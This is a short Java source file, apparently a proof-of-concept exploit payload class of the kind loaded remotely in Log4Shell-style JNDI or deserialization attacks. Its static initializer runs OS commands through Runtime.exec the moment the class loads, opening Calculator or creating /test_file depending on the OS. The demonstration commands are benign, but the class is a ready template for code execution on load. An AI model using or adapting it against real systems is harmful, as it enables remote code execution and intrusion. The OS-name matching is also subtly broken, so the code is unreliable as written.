Exploit.java

import javax.sound.sampled.SourceDataLine;

public class Exploit {
    public Exploit() {
    }

    static {
        try {
            String osName = System.getProperty("os.name").toLowerCase();
            System.err.println("Os Name is " + osName);
            String[] cmds;
            switch (osName) {
                case "win":
                    cmds = new String[] { "cmd.exe", "/c", "calc.exe" };
                    break;
                case "linux":
                    cmds = new String[] { "touch", "/test_file" };
                    break;
                case "macos":
                    cmds = new String[] { "open", "/System/Applications/Calculator.app" };
                    break;
                default:
                    cmds = new String[] { "" };
            }
            java.lang.Runtime.getRuntime().exec(cmds).waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}